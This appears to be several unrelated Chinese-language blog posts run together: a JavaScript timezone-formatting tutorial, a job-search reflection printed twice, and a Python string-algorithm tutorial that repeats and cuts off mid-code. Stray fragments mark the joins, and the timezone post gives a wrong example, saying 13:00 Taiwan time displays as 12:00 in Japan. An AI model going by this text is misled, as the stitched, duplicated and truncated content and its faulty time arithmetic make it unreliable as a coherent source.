有許多人都會誤以為如果你的 date time 有帶 timezone 的話,format 出來的結果就會依照那個 timezone。但不是這樣的,最後 format 還是會以 local time 為主。
所以上面的例子中,由於我的電腦是臺灣 +8 時區,所以結果會是 18:00:00 而不是 13:00:00。
這點大家一定要記住,無論是 dayjs 或是 moment 也都一樣,如果沒有在 format 之前特別指定時區,format 出來的結果都會依照使用者當前的時區。所以同一段程式碼,在不同使用者的電腦可能會有不同的輸出。
因此 Server 端給你什麼都不重要,給你 2020-02-02T13:00:00+03:00
或是 2020-02-02T10:00:00Z
或 2020-02-02T18:00:00+08:00
,對前端來說都是一樣的,都代表著同一個時間,用 format 也都會產生出一樣的結果。
如果你想要用 date time 裡的時區為主的話,可以這樣使用:
luxon.DateTime
.fromISO('2020-02-02T13:00:00+03:00', {
setZone: true
})
.toFormat('HH:mm:ss')
但是大部分情形下會建議的做法都是由前端自行決定要顯示成哪個時區的時間,而不是由後端給的 date time 來決定。
那要怎麼決定顯示成哪個時區呢?以 luxon 來說會是這樣:
luxon.DateTime
.fromISO('2020-02-02T13:00:00+03:00')
.setZone('Asia/Tokyo')
.toFormat('HH:mm:ss')
moment 則是這樣:
moment('2020-02-02T13:00:00+03:00')
.tz('Asia/Tokyo')
.format('HH:mm:ss')
dayjs 也類似:
dayjs('2020-02-02T13:00:00+03:00')
.tz('Asia/Tokyo')
.format('HH:mm:ss')
透過這樣的方式,我們就可以保證輸出的時間一定是固定在同一個時區。什麼時候會需要這樣做呢?例如說我之前待過的一間公司是餐廳訂位的網站,後端會傳給我們餐廳可以訂位的時段,例如說下午一點,下午兩點之類的,這邊後端會用標準格式給我們,例如說:'2020-02-02T13:00:00+08:00',代表 2020 年 2 月 2 號的下午 1 點可以訂位。
在前端顯示的時候,如果只是用 moment('2020-02-02T13:00:00+08:00').format('HH:mm')
的話,在我的電腦上看會是正確的,結果會是 13:00
,這往往也是 bug 的開端,因為自己看是正確的就覺得是正確的。
若是換了一個時區,假設換到日本好了,那同一段程式碼所產生出的結果就是 12:00
,就是預期外的結果了。因為要訂的是臺灣的餐廳,所以訂位時間應該都要顯示台灣時間才對,而不是使用者電腦時區的時間。
這時候就要按照上面所說的,用:
moment('2020-02-02T13:00:00+03:00')
.tz('Asia/Taipei')
.format('HH:mm:ss')
就能夠保證在日本或在其他地方的使用者,看到的都是用臺灣時區顯示的結果。
前面講的是後端給你一個時間然後你要正確顯示出來,解法就是上面所說的,加上正確的 method,才能確保是以固定的時區顯示時間。
還有另外一種需要注意的則是相反過來,那就是前端要產生一個 date time 送到後端去。
舉例來說,延續之前餐廳訂位網站的例子好了,假設今天有一個聯絡客服的頁面要填去餐廳的日期,格式是:2020-12-26
這樣子,但你送到後端去的資料會是 date time,所以你要把它變成 ISO 8601 的標準格式。
這時候你會怎麼做呢?
有些人會想說,這不就很簡單嗎?原生的方法就是 new Date('2020-12-26').toISOString()
,如果用其他 library 可能就是:moment('2020-12-26').format()
。
但其實這是不對的。
假設去的餐廳是在台灣的餐廳,那這個 2020-12-26 就應該是台灣時間,正確的輸出應該要是:2020-12-26T00:00:00+08:00
或是 2020-12-25T16:00:00Z
之類的,簡單來說就是台灣時間的 12 月 26 號 0 點 0 分。
而上面的程式碼,你有可能產生的是「UTC +0 時區的 0 點 0 分」或者是「使用者電腦時區的 0 點 0 分」,這時候產生出來的 date time 就會是錯誤的,就有了時差。
正確的使用方式跟剛剛差不多,你需要去呼叫 timezone 相關的 method,像是這樣:
// moment
moment.tz('2020-12-26', 'Asia/Taipei').format()
// dayjs
dayjs.tz('2020-12-26', 'Asia/Taipei').format()
16:22:48.660
才能正確告訴 library 說:「我的這個日期是在台北的日期,而不是在 UTC 也不是在使用者時區」。
在處理時間的時候,最常碰到的就是多一天或是少一天的問題,明明就應該顯示 12/26,怎麼使用者看到的是 12/25?而會有這些問題,往往都跟時區有關,沒有正確處理好時區的話就會產生這些問題。
在處理時區上面只要能謹記幾個原則,就可以避免掉這些基本的問題:
不過除了這些之外,我也有想到有些問題滿有趣的,例如說生日,生日感覺就應該直接存成一個字串而不是 date time string。
假設現在有一個大型的跨國網站,然後有個會員系統,註冊的時候要填生日,假設我生日是 2020-12-26 好了,那如果要存成 date time,就會是:2020-12-26T00:00:00+08:00
。
好,這邊看起來沒什麼問題。
但顯示的話呢?要用什麼時區來顯示?看起來固定用台灣時區來顯示才不會出錯,可是這樣的話,系統也得知道我是台灣人,才能知道要用什麼時區來顯示。但是系統不一定會有這個資訊。
那看起來解法就是兩個,一個是系統直接存 2020-12-26
,不存 date time 了,前端顯示也直接顯示字串,不要當作時間來解析。另一個則是「儲存跟顯示都用 UTC +0 時區來做」,這樣應該也不會有問題。
處理時間真的不容易,而且在時間上我們常會有許多錯誤的假設,可以參考 Your Calendrical Fallacy Is... 跟 Falsehoods programmers believe about time zones,裡面都提到了許多錯誤的認知。
從文章中也可以看出原生的 date 其實已經沒有辦法負荷日常使用了,因此只要是處理時間,基本上大家一定都會找一個 library 來用。目前有一個值得關注的提案叫做 Temporal,目前處於 stage2,希望能成為未來 JS 處理日期時間相關的標準。更詳細的介紹可以參考這一篇:Temporal - Date & Time in JavaScript today! 或是這個簡報:Temporal walkthrough
最後,如果你有用 jest 寫測試,可以在 config 裡面加上 process.env.TZ = 'Asia/Taipei';
來指定測試要跑的時區,也可以直接用環境變數帶進去。
我自己習慣的做法是在兩個不同的時區都跑跑看,測試都有過才代表你是真的有寫對,而不只是誤打誤撞才寫對。
]]>又是一年的年末了,先祝大家聖誕節快樂 & 新年快樂!
雖然 3D Deep Learning 入門 系列還有一篇,不過就讓我明年再放吧,因為我覺得用這篇當作一年的結尾頗適合。
前陣子應一位大神學長的邀請,跟一些學弟妹們分享了之前找工作的經驗,我後來想想這些經驗也許可以幫助更多人找到理想的工作,於是把投影片截出來,再寫一篇文章,以後有需要的人,我可以直接跟他分享這篇,會比看投影片有更深入的理解。
我從 2019 年的 6 月開始準備,最後是 2019 年底拿到理想的 offer,過程中有一些有趣的經驗,我把這些經驗摘要出來,所以比起那種很詳細的教學,這一篇比較不連續,而是我對自己求職過程中,重點經驗的記錄。
我在剛開始刷題的時候,先花了一些時間,上一畝三分地查了很多經驗總結,想辦法找出看起來最適合我的方法,後來讓我找到這篇 - 我是如何拿到硅谷顶级科技公司的10个offer的。這篇最吸引我的地方就是,作者號稱只要掌握前 150 題,就能攻克所有面試。哇賽,這樣要刷的題不就很少(我最後找到工作時還是刷了 400 題左右,要只刷 150 題,就能把解題能力推廣到所有面試都能克服,還是不太容易,也許對於應用力超強或有程式競賽經驗的人來說可以吧)!於是我就開始兩個月專心刷題的生活。
我投影片裡面提到的 刷題筆記連結,裡面還有不少好資源可用。
以方法上來說,我是一個不太安分的人,我會一直想能不能有更省力的方法(大概是因為懶?),結果讓我發現了 educative.io 上面的 coding interview pattern 課程,看到一個新世界,於是我就開始學習,也很興奮地想把這個方法分享出去,所以才產出了 Leetcode 刷題 pattern 這系列的文章(延伸閱讀有附上文章連結)。
我本來就很喜歡寫文章分享知識經驗,所以有好幾篇我寫得很開心,雖然出發點只是想要分享,但在過程中讓我又複習了一遍觀念,而且也因為要把概念寫清楚,會再好好學懂一些原本不很通的地方。裡面的 pattern 我在三個以上的面試中應用過,而且寫起來超順。(但是 pattern 也容易讓人落入背答案的陷阱,我在 Leetcode 刷題 pattern - 一週年特典 有論述,大家使用起來還是要注意一下)
有一天在通勤去學校的路上,我一邊看著 Youtube 上找工作的經驗分享,結果一邊就給我聽到了影響我很深遠的方法 - 定期模擬面試。
講者說的故事是,他有個讀書會,裡面有三五好友一起會定期模擬面試,有個朋友本來有的面試機會,都泡湯了,但那個朋友還是繼續練習。結果有一天,突然有 recruiter 問那個朋友要不要去面試,然後他就去了,也因為平常很習慣面試的感覺,所以即使沒幾天可以準備,他還是表現得很好。
於是我開始上 pramp.com 跟陌生人練電面、找朋友去圖書館練 onsite interview,我覺得在這過程中,我確實習慣了 think out loud (就是把思考過程都說出來讓面試官知道你的思路),而這讓我在面試的時候,可以不用分心去想我有沒有 think out loud,把心力集中在解題上。
刷題是一件很漫長的事,不是你用力刷一個禮拜就結束了(除非你超級幸運神速拿到 offer,或你是 ACM 大神可以完全無視刷題),所以讓自己能盡量享受過程,才能走得長遠走得開心。
我個人很常需要在不同方法中切換,保持新鮮感,所以試過很多方法:
不過如果你是習慣用一種方法好好走到底的類型,那也很好,找到適合自己的方法是最重要的。
投影片中的 TripleByte 連結在這 ,只要通過他們的面試,他們就會幫忙你直接去一些合作的公司 onsite,我後來是還沒用到,不過如果有急需找工作的朋友可以用用看,反正也免費。
履歷的話我沒有太多東西可以分享,我覺得重點就是不要想做到完美才開始投,只要足夠好就可以開始了,然後在過程中不斷打磨出更好的版本。然後因為公司都會想找 skillset 盡可能符合職缺需求的人,所以客製化履歷是不可少(我當初有 5 個比較常用的版本)。
在找工作時,你可能還有很多其他事情要顧,例如課業、刷題、跟 recruiter 來回聯絡、生活起居大小瑣事,所以如果能用一些方法降低你的腦袋負荷,就能提升其他方面的表現。所以我當時有紀錄自己投履歷的資訊,這樣我就不用花額外的腦力去記我什麼時候投了什麼公司、狀態如何、要不要再跟進寄信給 recruiter 等等。另外,我在 onsite interview 前還可以把職缺要求再複習一遍,總之我覺得這樣做很有幫助:
一個很重要的觀念是,把很多障礙你的因素移除掉,你的表現自然就會提升,我們常常都覺得要多做一點什麼,才能達到更好的狀態,但其實你只要改進拖累自己的習慣,就能發揮意想不到的力量。
這一點在我最近讀的一本書 - 怦然心動的工作整理魔法:風靡全球的整理女王╳組織心理學家,首度跨國跨界合作 裡面得到印證,作者 Marie Kondo 提出的核心概念是,如果你能讓留下的物品(包含非實體的東西,像 email、smartphone apps、甚至時間分配、需要認真做的決策)都是必要、或能讓你更愉快的,那麼你的生活品質就會大幅改善。
如果你喜歡看 Netflix,可以去看 Tidying Up with Marie Kondo,第一集就能看出上面提到的核心概念,能夠怎麼改善外在環境跟心境,但假設你想實踐並體會箇中好處,書中還有很多值得學習的細節。目前我的書桌、房間、冰箱、手機 app 都優化過了好幾輪(非實體的部分還在逐步實驗中),確實減少許多生活中的小摩擦(例如以前手機裡 app 的位置安排很隨意,要找某些常用的 app 常常需要兩三個步驟,現在整理過後幾乎都一個步驟就能找到),這自然讓我的心理狀態更加清明、也提升了注意到各種小摩擦的敏銳度,於是能再進一步優化。
口說無憑,附上優化前 v.s 優化兩輪之後的書桌比較(主要差別是,以前會把沒有在使用的筆記本或雜物放在桌上,現在是要用到才拿出來,不然就放回到該物品專屬的位置上):
另外附上優化後的手機首頁(可惜沒拍到優化前),我只留下常用跟不時會用到的 app,一個月以上沒打開過的一律刪除,首頁只放幾乎每天會用的 app,這樣就很少需要滑到另一分頁找 app。我也把各種社群軟體的通知都關掉,只留下紅色 badge,把使用習慣調成我想看才去看,而不會被通知打擾,這讓我使用手機的感覺變得非常單純、少了很多小小的不適感:
哈哈,看起來扯有點遠,不過我覺得改進自己的整體狀態,其實才是找到理想工作的根本,如果你太在意刷題,也許可以停下來稍加思考;因為在我看來,刷題的本質就是為了改進你在面試時,解題的狀態;而改進自己的整體狀態,自然會讓刷題的效率提升。還有,若要細究,面試時,面試官一定也會觀察你整個人、判斷你適不適合一起共事。
在找工作的時候,一方面技術能力要到位,另一方面就是,你對這間公司的熱情能否傳遞出去?
我記得我在 career fair,在 PlayStation 攤位前爆長的隊伍等待時,突然想到,recruiter 應該也很累吧,要跟這麼多人聊天,想辦法吸收各種資訊找出好的人才,如果我能讓他們覺得好玩一點,也算是功德一件?說不定也能讓我的履歷更被看見?
於是我打開 iPad,連上 Youtube 訂閱+開啟小鈴鐺(不好意思,聽太多自然脫口而出),開啟我之前跟組員做的遊戲 demo 影片(感恩讚嘆以前修網路與多媒體實驗,助教隆哥的要求),在輪到我的時候給 recruiter 看,結果他非常欣賞,也跟我在 LinkedIn 上互加好友。我當下很驚訝,沒想到有這樣的效果。
另一個小故事:我第一個 onsite intreview,是去 Microsoft。我在電面的時候雖然沒把程式寫完,但電面結束後,我花了點時間完成(也寫了幾個 test cases 並可以跑過)寄給面試官。面試官很快就回我信,跟我說他欣賞我解決問題的熱情。我想,就算這不是拿到 onsite 機會的決定性因素(因為電面問的問題不是 leetcode 題,感覺面試官也沒有預期我要寫完,只是想看我的思考過程跟程式架構設計),但起碼展現了自己願意多花時間,來得到進入這間公司機會的心情。
不過,以上能發揮熱情的點也不是天天有(我也有很多間的面試經驗普普通通),也未必每間公司都能做到盡善盡美,所以不需有壓力。當你遇到你真心想要進去的公司,你就會開始嘗試一些原本可能想不到的作法,這樣就好了。
今天跟大家分享了我求職過程中,對於各種方法的探索跟心得(當然,還有很多細節或失敗的嘗試沒有寫出來),這篇最主要的目的是鼓勵大家透過各種探索,更了解自己、觀察出適合自己的方法,讓找工作這件事情變得更加好玩。如果你更享受這個過程,你的整體狀態就會越好,也就有更高機率得到好的結果。如果你想更深入探討怎麼提升求職的整體狀態,也可以看看我之前寫的 如何成為專家 - 心態篇(用心讓學習變好玩) 以及 如何成為專家 - 體力篇 。
感謝各位讀者這一年來的支持,希望未來能持續分享,寫出越來越深入、具有洞見的文章。老師再見,同學再見,大家明年見!
最後放個 Zoox 車車的帥圖跟 reveal 影片宣傳一下(有興趣加入的朋友歡迎到 zoox.com 投履歷):
點擊下圖會連到影片:
又是一年的年末了,先祝大家聖誕節快樂 & 新年快樂!
雖然 3D Deep Learning 入門 系列還有一篇,不過就讓我明年再放吧,因為我覺得用這篇當作一年的結尾頗適合。
前陣子應一位大神學長的邀請,跟一些學弟妹們分享了之前找工作的經驗,我後來想想這些經驗也許可以幫助更多人找到理想的工作,於是把投影片截出來,再寫一篇文章,以後有需要的人,我可以直接跟他分享這篇,會比看投影片有更深入的理解。
我從 2019 年的 6 月開始準備,最後是 2019 年底拿到理想的 offer,過程中有一些有趣的經驗,我把這些經驗摘要出來,所以比起那種很詳細的教學,這一篇比較不連續,而是我對自己求職過程中,重點經驗的記錄。
我在剛開始刷題的時候,先花了一些時間,上一畝三分地查了很多經驗總結,想辦法找出看起來最適合我的方法,後來讓我找到這篇 - 我是如何拿到硅谷顶级科技公司的10个offer的。這篇最吸引我的地方就是,作者號稱只要掌握前 150 題,就能攻克所有面試。哇賽,這樣要刷的題不就很少(我最後找到工作時還是刷了 400 題左右,要只刷 150 題,就能把解題能力推廣到所有面試都能克服,還是不太容易,也許對於應用力超強或有程式競賽經驗的人來說可以吧)!於是我就開始兩個月專心刷題的生活。
我投影片裡面提到的 刷題筆記連結,裡面還有不少好資源可用。
以方法上來說,我是一個不太安分的人,我會一直想能不能有更省力的方法(大概是因為懶?),結果讓我發現了 educative.io 上面的 coding interview pattern 課程,看到一個新世界,於是我就開始學習,也很興奮地想把這個方法分享出去,所以才產出了 Leetcode 刷題 pattern 這系列的文章(延伸閱讀有附上文章連結)。
我本來就很喜歡寫文章分享知識經驗,所以有好幾篇我寫得很開心,雖然出發點只是想要分享,但在過程中讓我又複習了一遍觀念,而且也因為要把概念寫清楚,會再好好學懂一些原本不很通的地方。裡面的 pattern 我在三個以上的面試中應用過,而且寫起來超順。(但是 pattern 也容易讓人落入背答案的陷阱,我在 Leetcode 刷題 pattern - 一週年特典 有論述,大家使用起來還是要注意一下)
有一天在通勤去學校的路上,我一邊看著 Youtube 上找工作的經驗分享,結果一邊就給我聽到了影響我很深遠的方法 - 定期模擬面試。
講者說的故事是,他有個讀書會,裡面有三五好友一起會定期模擬面試,有個朋友本來有的面試機會,都泡湯了,但那個朋友還是繼續練習。結果有一天,突然有 recruiter 問那個朋友要不要去面試,然後他就去了,也因為平常很習慣面試的感覺,所以即使沒幾天可以準備,他還是表現得很好。
於是我開始上 pramp.com 跟陌生人練電面、找朋友去圖書館練 onsite interview,我覺得在這過程中,我確實習慣了 think out loud (就是把思考過程都說出來讓面試官知道你的思路),而這讓我在面試的時候,可以不用分心去想我有沒有 think out loud,把心力集中在解題上。
刷題是一件很漫長的事,不是你用力刷一個禮拜就結束了(除非你超級幸運神速拿到 offer,或你是 ACM 大神可以完全無視刷題),所以讓自己能盡量享受過程,才能走得長遠走得開心。
我個人很常需要在不同方法中切換,保持新鮮感,所以試過很多方法:
不過如果你是習慣用一種方法好好走到底的類型,那也很好,找到適合自己的方法是最重要的。
投影片中的 TripleByte 連結在這 ,只要通過他們的面試,他們就會幫忙你直接去一些合作的公司 onsite,我後來是還沒用到,不過如果有急需找工作的朋友可以用用看,反正也免費。
履歷的話我沒有太多東西可以分享,我覺得重點就是不要想做到完美才開始投,只要足夠好就可以開始了,然後在過程中不斷打磨出更好的版本。然後因為公司都會想找 skillset 盡可能符合職缺需求的人,所以客製化履歷是不可少(我當初有 5 個比較常用的版本)。
在找工作時,你可能還有很多其他事情要顧,例如課業、刷題、跟 recruiter 來回聯絡、生活起居大小瑣事,所以如果能用一些方法降低你的腦袋負荷,就能提升其他方面的表現。所以我當時有紀錄自己投履歷的資訊,這樣我就不用花額外的腦力去記我什麼時候投了什麼公司、狀態如何、要不要再跟進寄信給 recruiter 等等。另外,我在 onsite interview 前還可以把職缺要求再複習一遍,總之我覺得這樣做很有幫助:
一個很重要的觀念是,把很多障礙你的因素移除掉,你的表現自然就會提升,我們常常都覺得要多做一點什麼,才能達到更好的狀態,但其實你只要改進拖累自己的習慣,就能發揮意想不到的力量。
這一點在我最近讀的一本書 - 怦然心動的工作整理魔法:風靡全球的整理女王╳組織心理學家,首度跨國跨界合作 裡面得到印證,作者 Marie Kondo 提出的核心概念是,如果你能讓留下的物品(包含非實體的東西,像 email、smartphone apps、甚至時間分配、需要認真做的決策)都是必要、或能讓你更愉快的,那麼你的生活品質就會大幅改善。
如果你喜歡看 Netflix,可以去看 Tidying Up with Marie Kondo,第一集就能看出上面提到的核心概念,能夠怎麼改善外在環境跟心境,但假設你想實踐並體會箇中好處,書中還有很多值得學習的細節。目前我的書桌、房間、冰箱、手機 app 都優化過了好幾輪(非實體的部分還在逐步實驗中),確實減少許多生活中的小摩擦(例如以前手機裡 app 的位置安排很隨意,要找某些常用的 app 常常需要兩三個步驟,現在整理過後幾乎都一個步驟就能找到),這自然讓我的心理狀態更加清明、也提升了注意到各種小摩擦的敏銳度,於是能再進一步優化。
口說無憑,附上優化前 v.s 優化兩輪之後的書桌比較(主要差別是,以前會把沒有在使用的筆記本或雜物放在桌上,現在是要用到才拿出來,不然就放回到該物品專屬的位置上):
另外附上優化後的手機首頁(可惜沒拍到優化前),我只留下常用跟不時會用到的 app,一個月以上沒打開過的一律刪除,首頁只放幾乎每天會用的 app,這樣就很少需要滑到另一分頁找 app。我也把各種社群軟體的通知都關掉,只留下紅色 badge,把使用習慣調成我想看才去看,而不會被通知打擾,這讓我使用手機的感覺變得非常單純、少了很多小小的不適感:
哈哈,看起來扯有點遠,不過我覺得改進自己的整體狀態,其實才是找到理想工作的根本,如果你太在意刷題,也許可以停下來稍加思考;因為在我看來,刷題的本質就是為了改進你在面試時,解題的狀態;而改進自己的整體狀態,自然會讓刷題的效率提升。還有,若要細究,面試時,面試官一定也會觀察你整個人、判斷你適不適合一起共事。
在找工作的時候,一方面技術能力要到位,另一方面就是,你對這間公司的熱情能否傳遞出去?
我記得我在 career fair,在 PlayStation 攤位前爆長的隊伍等待時,突然想到,recruiter 應該也很累吧,要跟這麼多人聊天,想辦法吸收各種資訊找出好的人才,如果我能讓他們覺得好玩一點,也算是功德一件?說不定也能讓我的履歷更被看見?
於是我打開 iPad,連上 Youtube 訂閱+開啟小鈴鐺(不好意思,聽太多自然脫口而出),開啟我之前跟組員做的遊戲 demo 影片(感恩讚嘆以前修網路與多媒體實驗,助教隆哥的要求),在輪到我的時候給 recruiter 看,結果他非常欣賞,也跟我在 LinkedIn 上互加好友。我當下很驚訝,沒想到有這樣的效果。
另一個小故事:我第一個 onsite intreview,是去 Microsoft。我在電面的時候雖然沒把程式寫完,但電面結束後,我花了點時間完成(也寫了幾個 test cases 並可以跑過)寄給面試官。面試官很快就回我信,跟我說他欣賞我解決問題的熱情。我想,就算這不是拿到 onsite 機會的決定性因素(因為電面問的問題不是 leetcode 題,感覺面試官也沒有預期我要寫完,只是想看我的思考過程跟程式架構設計),但起碼展現了自己願意多花時間,來得到進入這間公司機會的心情。
不過,以上能發揮熱情的點也不是天天有(我也有很多間的面試經驗普普通通),也未必每間公司都能做到盡善盡美,所以不需有壓力。當你遇到你真心想要進去的公司,你就會開始嘗試一些原本可能想不到的作法,這樣就好了。
今天跟大家分享了我求職過程中,對於各種方法的探索跟心得(當然,還有很多細節或失敗的嘗試沒有寫出來),這篇最主要的目的是鼓勵大家透過各種探索,更了解自己、觀察出適合自己的方法,讓找工作這件事情變得更加好玩。如果你更享受這個過程,你的整體狀態就會越好,也就有更高機率得到好的結果。如果你想更深入探討怎麼提升求職的整體狀態,也可以看看我之前寫的 如何成為專家 - 心態篇(用心讓學習變好玩) 以及 如何成為專家 - 體力篇 。
感謝各位讀者這一年來的支持,希望未來能持續分享,寫出越來越深入、具有洞見的文章。老師再見,同學再見,大家明年見!
最後放個 Zoox 車車的帥圖跟 reveal 影片宣傳一下(有興趣加入的朋友歡迎到 zoox.com 投履歷):
點擊下圖會連到影片:
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的字串處理問題開始進行介紹。
要注意的是在 Python 的字串物件 str
是 immutable
不可變的,字串中的字元是無法單獨更改變換。
舉例來說,以下的第一個指定字元變數行為是不被允許的,但整體字串重新賦值指定另外一個字串物件是可以的:
name = 'Jack'
# 錯誤
name[0] = 'L'
# 正確
name = 'Leo'
執行結果:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object does not support item assignment
Problem: First Unique Character in a String
Given a string, find the first non-repeating character in it and return its index. If it doesn't exist, return -1
.
Examples:
Examples:
s = "leetcode"
return 0.
s = "loveleetcode"
return 2.
Note: You may assume the string contains only lowercase English letters.
題目意思為輸入為一個字串,回傳第一個唯一(沒有重複)的字元索引位置,若沒有的話回傳 -1
。可以假定字串只包含小寫字母。
Solution
字典比對法
class Solution:
def firstUniqChar(self, s: str) -> int:
# 建立一個字典儲存字元出現次數
count_dict = {}
# 迭代所有字串中的字元進行字元出現次數統計
for char in s:
# 若已有出現過的字元,統計次數增加一次
if char in count_dict:
count_dict[char] += 1
# 若沒有出現過則次數初始化為一
else:
count_dict[char] = 1
# 從頭迭代所有字串中的字元,若出現次數為一次字元回傳索引值(使用 enumerate 取出索引值和內容值)
for index, char in enumerate(s):
if count_dict[char] == 1:
return index
return -1
字典比對法主要透過迭代所有字串中的字元進行字元出現次數統計和比對,是對於不同程式語言比較通用的寫法。
串列切片法
class Solution:
def firstUniqChar(self, s: str) -> int:
# 從頭迭代所有字串中的字元和索引值,判斷在該位置之前和之後是否有相同的字元,若無代表為唯一值
for index, char in enumerate(s):
if char not in s[:index] and char not in s[index + 1:]:
return index
return -1
串列切片法透過 Python 特殊的切片機制,讓我們可以使用簡潔的語法直接判斷是否為唯一值。
Problem: Valid Anagram
Given two strings s and t , write a function to determine if t is an anagram of s.
Example 1:
Input: s = "anagram", t = "nagaram"
Output: true
Example 2:
Input: s = "rat", t = "car"
Output: false
Note:
You may assume the string contains only lowercase alphabets.
Follow up:
What if the inputs contain unicode characters? How would you adapt your solution to such case?
題目的意思輸入兩個字串,判斷是否為易位構詞(Anagram),易位構詞意思為一個字詞透過重新排列順序產生另外一個字詞。舉例來說 cat
和 atc
為易位構詞,因為字串長度和字母出現次數相同,只有排列順序不同。
Solution
迴圈迭代法
class Solution:
def isAnagram(self, s: str, t: str) -> bool:
# 若兩個字串長度不同則不符合
if len(s) != len(t):
return False
# 將兩個字串轉為串列進行排序
list_s = list(s)
list_s.sort()
list_t = list(t)
list_t.sort()
# 透過迭代法,一一取出已排序序列進行比對
for index, char in enumerate(list_s):
if list_s[index] == list_t[index]:
continue
else:
return False
return True
主要是透過將字串轉為串列並將字元排序後一一比對。
串列移除法
class Solution:
def isAnagram(self, s: str, t: str) -> bool:
if len(s) != len(t):
return False
# 將字串轉為串列
list_s = list(s)
list_t = list(t)
# 將字串串列一一一取出
while len(list_s) > 0:
try:
# pop 出元素並確認是否有在另外一個串列中
char = list_s.pop(0)
list_t.remove(char)
except ValueError:
return False
return True
透過將字串轉為串列後將其中一個串列元素取出,並移除同樣在另外一個串列的字元,若發生無法移除錯誤代表有不同的字元組成,非易位構詞。
Problem: Valid Palindrome
Given a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.
Note: For the purpose of this problem, we define empty string as valid palindrome.
Example 1:
Input: "A man, a plan, a canal: Panama"
Output: true
Example 2:
Input: "race a car"
Output: false
Constraints:
s consists only of printable ASCII characters.
題目的意思是串入一個字串,回傳判斷是否為回文(Palindrome)。回文代表的意思為從前面或從後面看來都是一樣的字串,是正讀反讀都能讀通的句子。
Solution
雙指針法:
class Solution:
def isPalindrome(self, s: str) -> bool:
if len(s) < 2:
return True
# 將字串轉為小寫
s = s.lower()
# 初始化左右指針
# 設計兩個指標分別從最左和最右出發
pointer_left = 0
pointer_right = len(s) - 1
# 當左指針大於等於右指針時結束迴圈
while pointer_right > pointer_left:
# 左指標中,字串中有可能有非字母,透過 isalnum 進行判斷,若非字母字元則往前推進
if not s[pointer_left].isalnum():
pointer_left += 1
continue
# 右指標中,字串中有可能有非字母,透過 isalnum 進行判斷,若非字母字元則往前推進
if not s[pointer_right].isalnum():
pointer_right -= 1
continue
# 當字元比較相同則同時往前靠近
if s[pointer_left] == s[pointer_right]:
pointer_left += 1
pointer_right -= 1
continue
# 若有不符合則非回文
else:
return False
return True
透過設計兩個指標分別從最左和最右出發,可以比對是否是回文(注意要處理非字母字元狀況)。
串列切片法
class Solution:
def isPalindrome(self, s: str) -> bool:
if len(s) < 2:
return True
filtered_str_list = []
# 將非字母字元去除
for char in s:
if char.isalnum():
filtered_str_list.append(char.lower())
# 取中間索引
center_index = len(filtered_str_list) // 2
# 透過迭代取出到中間索引之前的 index
for index in range(center_index):
# 透過切片從頭和從尾相互比較
if filtered_str_list[index] == filtered_str_list[len(filtered_str_list) - index - 1]:
continue
# 若有不符合的狀況就是非回文
else:
return False
return True
事先透過判斷將非字母字元去除,最後透過串列切片判斷從中間切開的頭尾兩邊是否有符合回文狀況。
本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。以上介紹了幾個簡單字串操作的問題當作開頭,需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的字串處理問題開始進行介紹。
要注意的是在 Python 的字串物件 str
是 immutable
不可變的,字串中的字元是無法單獨更改變換。
舉例來說,以下的第一個指定字元變數行為是不被允許的,但整體字串重新賦值指定另外一個字串物件是可以的:
name = 'Jack'
# 錯誤
name[0] = 'L'
# 正確
name = 'Leo'
執行結果:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object does not support item assignment
Problem: First Unique Character in a String
Given a string, find the first non-repeating character in it and return its index. If it doesn't exist, return -1
.
Examples:
Examples:
s = "leetcode"
return 0.
s = "loveleetcode"
return 2.
Note: You may assume the string contains only lowercase English letters.
題目意思為輸入為一個字串,回傳第一個唯一(沒有重複)的字元索引位置,若沒有的話回傳 -1
。可以假定字串只包含小寫字母。
Solution
字典比對法
class Solution:
def firstUniqChar(self, s: str) -> int:
# 建立一個字典儲存字元出現次數
count_dict = {}
# 迭代所有字串中的字元進行字元出現次數統計
for char in s:
# 若已有出現過的字元,統計次數增加一次
if char in count_dict:
count_dict[char] += 1
# 若沒有出現過則次數初始化為一
else:
count_dict[char] = 1
# 從頭迭代所有字串中的字元,若出現次數為一次字元回傳索引值(使用 enumerate 取出索引值和內容值)
for index, char in enumerate(s):
if count_dict[char] == 1:
return index
return -1
字典比對法主要透過迭代所有字串中的字元進行字元出現次數統計和比對,是對於不同程式語言比較通用的寫法。
串列切片法
class Solution:
def firstUniqChar(self, s: str) -> int:
# 從頭迭代所有字串中的字元和索引值,判斷在該位置之前和之後是否有相同的字元,若無代表為唯一值
for index, char in enumerate(s):
if char not in s[:index] and char not in s[index + 1:]:
return index
return -1
串列切片法透過 Python 特殊的切片機制,讓我們可以使用簡潔的語法直接判斷是否為唯一值。
Problem: Valid Anagram
Given two strings s and t , write a function to determine if t is an anagram of s.
Example 1:
Input: s = "anagram", t = "nagaram"
Output: true
Example 2:
Input: s = "rat", t = "car"
Output: false
Note:
You may assume the string contains only lowercase alphabets.
Follow up:
What if the inputs contain unicode characters? How would you adapt your solution to such case?
題目的意思輸入兩個字串,判斷是否為易位構詞(Anagram),易位構詞意思為一個字詞透過重新排列順序產生另外一個字詞。舉例來說 cat
和 atc
為易位構詞,因為字串長度和字母出現次數相同,只有排列順序不同。
Solution
迴圈迭代法
class Solution:
def isAnagram(self, s: str, t: str) -> bool:
# 若兩個字串長度不同則不符合
if len(s) != len(t):
return False
# 將兩個字串轉為串列進行排序
list_s = list(s)
list_s.sort()
list_t = list(t)
list_t.sort()
# 透過迭代法,一一取出已排序序列進行比對
for index, char in enumerate(list_s):
